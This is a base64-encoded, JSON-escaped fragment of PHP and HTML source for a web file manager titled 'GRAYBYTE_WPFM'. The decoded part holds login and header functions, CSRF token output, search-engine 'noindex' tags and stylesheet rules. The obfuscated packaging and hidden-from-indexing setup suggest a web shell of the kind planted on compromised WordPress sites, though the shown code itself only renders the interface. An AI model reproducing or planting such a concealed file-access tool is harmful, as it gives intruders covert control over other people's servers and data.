IDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9y